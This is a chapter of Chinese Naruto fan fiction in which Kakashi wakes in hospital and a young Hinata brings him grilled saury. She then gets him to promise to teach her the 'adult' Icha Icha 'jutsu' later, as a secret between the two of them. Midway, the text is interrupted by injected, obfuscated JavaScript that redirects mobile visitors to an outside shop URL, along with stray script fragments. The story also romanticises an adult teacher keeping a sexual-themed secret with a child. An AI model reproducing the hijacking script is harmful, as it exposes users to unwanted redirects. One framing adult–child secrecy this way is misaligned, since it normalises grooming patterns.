第十四章:只属于两个人的秘密
后来不知又过了多久。
卡卡西像是陷入了一段更深的睡眠里。
没有雨。
没有慰灵碑。
没有带土最后垂下去的手。
也没有左眼尖锐到快要撕裂的疼。
梦里很安静。
安静得几乎不像梦。
他并没有彻底醒来,却隐隐知道自己还活着。身体很沉,大脑像被什么封住,四肢也无法动弹。可那种被困住的感觉并不再像最初那样痛苦。
因为他知道,有人在。
那只手后来已经不在他的掌心里了。
不知道是他自己松开的,还是对方轻轻抽了出去。可是那份温度并没有完全消失,像被人放在黑暗里的一盏小灯,明明很弱,却足够让他睡得安稳。
卡卡西很久没有睡过这样的觉了。
没有噩梦追着他跑。
没有过去的人一次次死在他眼前。
没有醒来时空荡荡的房间,也没有自己对着无人回应的门口说“我回来了”。
只是睡着。
只是知道,有人在旁边。
这感觉陌生得让人几乎不敢相信。
被人等候着。
被人守着。
原来是这样安心的一件事。
唯一遗憾的是,他睁不开眼睛。
他想看一看那个人是谁。
想知道那个在梦里握住他的手、声音软得像沙漠微雨的女孩子,到底是谁。
可他越想看,眼前越是沉。
像有人把他的意识按在一片温暖的水里,告诉他暂时不用醒,不用再战斗,不用立刻去守护什么。
就在这样的半梦半醒之间,忽然有什么力量解开了禁锢。
像一把锋利的刀切断了缠在身体和意识上的线。
沉重感骤然消失。
卡卡西猛地睁开眼,翻身坐了起来。
病房里挤满了人。
“醒了!”
“卡卡西老师!”
“青春啊——!”
耳边爆发出一阵乱七八糟的声音。
卡卡西坐在病床上,愣了半秒。
他确实希望自己醒来的时候能看见人。
但没想到会看见这么多人。
站在最前面的是纲手。
金色长发,双臂抱在胸前,脸上带着医疗忍者特有的审视。她身旁是兴奋得快要跳起来的鸣人,还有穿着绿色紧身服、眼泪都快喷出来的凯。
而在他们身后,靠近门边的地方,有一个小小的身影正踮着脚往里看。
深蓝色短发,白色眼睛。
日向雏田。
她站得很后面。
像怕挡住别人,又像怕自己太明显。可那双眼睛亮得厉害,原本就清透的白眼被惊喜一照,像温润的玉里忽然透出光来。
她今天穿着浅色衣服,脸颊因为赶来医院而带着一点浅红。少女还未完全长开,轮廓却已经很漂亮。眉眼柔软,皮肤白净,脖颈纤细,站在人群后面时安静得像一枝还未彻底盛放的白花。
她自己完全不知道。
甚至在卡卡西看过去时,她还像被抓包一样慌忙低下头,耳尖慢慢红了。
卡卡西的视线只停了一瞬,很快又移回纲手身上。
“对不起,给您添麻烦了。”
纲手挑眉,语气不太客气地说了几句。大意是他再晚一点醒,就准备把他继续按回床上休养。
卡卡西听着,却有点心不在焉。
他忍不住看向门外。
那个人呢?
梦里的那只手。
那个一直在黑暗里对他说“是我呀”的声音。
她会不会在病房外?
可走廊很安静。
没有别的脚步声,也没有人躲在门外。
卡卡西垂了垂眼。
已经走了吗?
还是,那本来只是梦的一部分?
他无法确定。
凯很快拉着纲手去了李的病房。
鸣人一听李也能被纲手查看情况,立刻跟着跑了出去。病房里刚才还热闹得像被掀开的锅,此刻忽然空了大半。
只剩下卡卡西,以及站在门边迟迟没有走的雏田。
她目送大家离开后,仍然站在那里。
双手背在身后,指尖绞着衣袖,一副想说什么又不敢说的样子。
卡卡西看着她,眼睛弯了弯。
“怎么了,雏田?”
“卡、卡卡西老师……”
她抬头看了他一眼,又飞快低下去。
脸红了。
还是和以前一样。
明明已经在中忍考试里站起来过,已经能在死亡森林里成为第八班的眼睛,也已经敢于面对宁次,可在他面前,却仍然这样容易害羞。
有些地方变了。
有些地方又一点也没变。
卡卡西放松地靠回床头,语气温和。
“没事的,雏田。在老师面前,什么都可以大胆说出来。”
受到鼓励后,雏田终于向前走了几步。
她走得有些犹豫,可越靠近,神情反而越认真。最后,她从背后拿出一个便当盒,双手捧到他面前。
“卡卡西老师,请收下这个!”
这次居然没有结巴。
卡卡西微微一怔。
便当盒被她用布巾仔细包着,结打得很整齐,边角还压得平平整整。像她这个人一样,细致、郑重,连一点小事都不愿随意对待。
“给我的?”
雏田点头。
“嗯。”
她声音轻,却很稳。
“听说老师可能今天会醒,所以我想……也许会饿。”
其实她没有听说卡卡西今天一定会醒。
只是纲手大人回村后,大家都说昏迷的人应该会有转机。她便一早做好了便当,带着一点小小的、不敢声张的期待来了医院。
如果他没醒,也没关系。
可以晚一点再热。
如果他醒了,至少他睁开眼后,能吃到一点热的东西。
就像那天她醒来时,他给她买红豆沙一样。
卡卡西接过便当盒,声音立刻夸张起来:
“唔……肚子的确饿了啊。谢谢你及时送来了吃的哦,雏田。”
他打开盖子。
里面是秋刀鱼。
烤得很漂亮。
鱼皮带着微微焦香,配菜也摆得整齐,米饭上还撒了一点芝麻。不是饭店里精致到耀眼的料理,却有一种家常的、认真准备过的温度。
“哇。”卡卡西眼睛弯起来,“竟然是秋刀鱼。是我最喜欢的料理呢,太感谢了啊,雏田。”
话说得太顺。
顺到像平时的他。
可是说完以后,他自己也察觉到一丝不自然。
病房里的气氛有些奇怪。
不是尴尬。
而是一种太安静、太柔软的东西悬在两个人之间。
雏田在看他。
不,不完全是看。
她低着头,似乎不敢看他拉下面罩后的脸,只是盯着被子和便当盒边缘。可是她的耳朵红着,眼角余光又悄悄往他这边落。
关心。
期待。
还有一点说不清的紧张。
卡卡西忽然有些明白自己为什么会故意把语气抬得夸张了。
如果不这样,好像有些东西就会太明显。
比如她带着便当等他醒来。
比如他醒来看见她站在人群后面时,那一瞬间确实安心了一点。
比如这间病房,忽然不像昏睡里的黑暗那么孤单。
他不太习惯。
于是只能像平时那样,用玩笑把气氛轻轻推开一点。
雏田却很认真地问:
“卡卡西老师喜欢秋刀鱼吗?”
“是哟,很喜欢。”
卡卡西拉下面罩,低头开始吃。
雏田立刻把视线移开。
她不敢看。
会把脸遮住,说明卡卡西老师不想让别人看见。偷看是不礼貌的。
可是人越是不该看,就越容易在意。
她的眼睛盯着被子,耳尖却红得更厉害。脑子里乱糟糟想:卡卡西老师吃东西的样子是什么样的呢?面罩下面的脸和他的眼睛一样温柔吗?还是会更严肃一点?
不能看。
绝对不能看。
她把眼睛低得更用力,像在进行某种严肃的修行。
卡卡西看见她那副努力自我约束的样子,差点笑出来。
明明好奇得快要把整个人都烧红了,却还是乖乖不看。
这孩子啊。
太懂礼貌,太会替别人着想,也太容易让人心软。
雏田不知道卡卡西在想什么。
她只是因为他吃得很认真,心里一点点泛起满足。
幸好去问了小樱。
幸好知道了卡卡西老师喜欢秋刀鱼。
原本,她曾经想过,第一次亲手做的便当也许会送给鸣人君。
可是那天从医院回去后,她忽然觉得,也许现在更需要被关心的人,是卡卡西老师。
鸣人君有自己的修行。
他一直在往前走。
而卡卡西老师,看起来拥有很多同伴,却又好像总是独自醒来,独自离开,独自把所有事情藏在笑里。
她想给他做一点什么。
很小也没关系。
只要能让他醒来以后,不那么空。
看着卡卡西大快朵颐的样子,雏田忍不住轻轻松了一口气。
“太好了……”
卡卡西抬眼。
“嗯?”
雏田下意识把心里话说了出来。
“以后也能做给卡卡西老师吃吗?”
病房安静了一下。
雏田自己也愣住。
她说了什么?
以后也能做给卡卡西老师吃吗?
这句话听起来是不是太奇怪了?
太亲近了。
也太像擅自把自己放进对方生活里。
卡卡西也停了筷子。
他的眼睛里有一瞬间很清楚的惊讶。
雏田红着脸,手指紧紧攥住衣袖,几乎想立刻道歉。
可她又不知道为什么,还是没有马上退回去。
也许是因为卡卡西老师刚刚说了“什么都可以大胆说出来”。
也许是因为他吃便当时看起来真的很高兴。
也许是因为她隐隐觉得,他其实很少被人这样等着、照顾着。
卡卡西看着她。
原本,他应该说不用这么麻烦。
或者说老师怎么好意思总收学生的东西。
可话到了嘴边,却变成了另一个问题。
“可以吗,雏田?”
雏田怔住。
这个回答太成熟了。
也太狡猾了。
用问题回答问题,把选择权轻轻推回到她这里。
卡卡西老师果然很厉害。
雏田努力想学他的语气,可她还做不到那样自然,只能红着脸,小声说:
“如、如果卡卡西老师想吃的话。”
卡卡西低低笑了一声。
笑声醇厚,隔着面罩前的饭香和病房里的暖光,落在雏田耳边,让她耳尖更红。
“想吃哟。”
他说。
“我当然想吃啊,雏田。”
说完,他抬手,轻轻揉了揉她的头发。
掌心温热,动作很自然。
像长辈安抚小孩。
雏田低下头,心里却忽然浮起一点小小的不甘心。
又把她当成孩子了。
在卡卡西老师面前,她果然还是孩子吧。
她知道自己确实还小。
可是……
她也想快点长大。
想变成成熟的大人。
想有一天不是只能被他揉着头说“好孩子”,而是能理直气壮地站在他身边,告诉他:我也可以照顾你。
成熟的大人。
这个词一出现,雏田忽然想起了那件事。
大人才能学的忍术。
她猛地抬起头。
“卡卡西老师。”
卡卡西手还停在她头顶。
“嗯?”
雏田眼睛亮得认真。
“也跟我约定吧。”
卡卡西心里忽然升起一点不好的预感。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17821948|211160||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>“约定?”
“嗯。”雏田点头,“跟我约定吧,卡卡西老师。”
如果是雏田的话,应该没关系吧?
卡卡西想。
她不会提出什么过分的要求。大概又是什么“老师也要好好休息”或者“以后不要太勉强”之类的认真话。
于是他弯起眼。
“可以哟,雏田。是什么样的约定呢?”
雏田双手放在身前,声音轻却郑重。
“等我长大以后,教我那个忍术吧。”
卡卡西:“嗯?”
什么忍术?
有什么忍术是红不能教、凯不能教,非要他教的?
雏田见他没想起来,十分认真地补充:
“就是那个‘亲热’什么的。”
“咳咳!”
卡卡西呛住了。
他终于明白,为什么吃饭的时候不能说话。
米饭差点喷出来的瞬间,他心里甚至闪过一丝荒谬的感慨:原来自己没有死在月读里,却差点死在日向雏田一句话里。
雏田吓了一跳。
“卡卡西老师?”
她立刻上前一步,像想帮他拍背,又因为太害羞而停住。
“您没事吧?”
卡卡西艰难地摆手。
“没、没事。”
第一次听到卡卡西结巴,雏田更紧张了。
“我不能学吗,卡卡西老师?”
她问得非常认真。
卡卡西按住额角。
“那倒也不是……”
“那可以教我的吧?”
雏田追问。
她平时明明很容易退缩,可在这件事上却意外地执着。也许是因为她真的把这当成了某种“大人才能掌握的厉害忍术”。
也许是因为——
这是卡卡西老师说过的事。
所以她记住了。
卡卡西觉得头疼。
认真起来的人真可怕。
尤其是认真起来的雏田。
她既不会恶作剧,也不会坏心眼,更不会把人逼到角落里。她只是睁着那双清澈白净的眼睛,一次又一次温柔地问:
可以吗?
那比任何强硬逼问都更难拒绝。
“那个忍术很多人都会。”卡卡西清了清嗓子,努力找回老师的威严,“以后你长大了,一定会有合适的人教你的。”
雏田想了想。
“也对呢。”
卡卡西刚松一口气。
下一秒,雏田又低声自言自语:
“虽说觉得卡卡西老师应该是最擅长的,可是红老师一定也知道这个忍术,问她的话……”
“不行!”
卡卡西几乎是立刻打断。
声音之强硬,把雏田吓得睁大了眼睛。
“不能问她。”
雏田茫然。
“为什么?”
卡卡西脑子里已经飞快出现画面。
雏田乖乖去找夕阳红:
“红老师,请教我亲热什么的忍术吧。”
红警觉:
“那是什么?”
雏田认真解释:
“是卡卡西老师说的大人才能学习的忍术。”
然后红的表情瞬间变冷。
再然后,日向日足、夕阳红、阿斯玛、凯、甚至纲手全部坐在会议室里,用看叛忍的眼神审问他。
“旗木卡卡西,你对日向家的未成年大小姐说了什么?”
木叶第二天的热门话题变成:知名上忍用奇怪书籍诱导纯洁少女。
卡卡西觉得自己汗毛都要炸开了。
他低下头,用一种近乎悲壮的语气说:
“好吧。”
雏田眼睛亮起来。
“卡卡西老师?”
“等你长大了……”
卡卡西说得很艰难。
“我教你。”
雏田一下子笑了。
那笑容太甜,太干净,像病房里所有昏暗都被她轻轻照亮了一下。
“谢谢卡卡西老师!”
卡卡西撑着额头。
没什么可谢的。
也绝对不能说“不用谢,这是我应该做的”。
他用最后一点理智叮嘱:
“是秘密哦,雏田。”
“秘密?”
“嗯。”卡卡西语气沉重,“这件事不要告诉任何人。尤其是红老师。”
雏田非常认真地点头。
“我知道了,卡卡西老师。”
她想了想,又小声补充:
“我会保守秘密的。”
卡卡西松了一口气。
可下一秒,雏田低头看着自己的手,耳尖红红地说:
“只属于我们两个人的秘密啊……”
病房又安静了。
卡卡西抬头看她。
她似乎只是单纯地把这个事实说出来。
可那句话从她嘴里说出,却有种无法言说的微妙。
只属于我们两个人的秘密。
她不知道这句话有多危险。
不知道自己低着头、脸红着、声音轻轻软软地说出这句话时,会让人多么难以接话。
卡卡西看着她,忽然觉得嗓子有些发干。
于是他非常明智地低头继续吃饭。
“秋刀鱼真好吃啊。”
他说。
语气无比平静。
如果忽略他已经完全不敢看雏田的话。
雏田坐在旁边,安静地弯了弯眼睛。
她不知道自己刚才又让卡卡西老师招架不住了。
她只是觉得很开心。
卡卡西老师醒了。
吃了她做的便当。
说以后还想吃。
还和她约好了,等她长大以后,会教她那个大人才能学的忍术。
这是他们两个人的秘密。
只属于他们两个人。
窗外的光一点点变柔。
夏日的病房里,秋刀鱼的香气还没有散尽,床头柜上放着那包被她带来的红茶。
雏田低下头,唇角轻轻弯起。
她觉得,今天真的很好。
好到连胸口偶尔牵扯出的疼,都变得可以忍受了。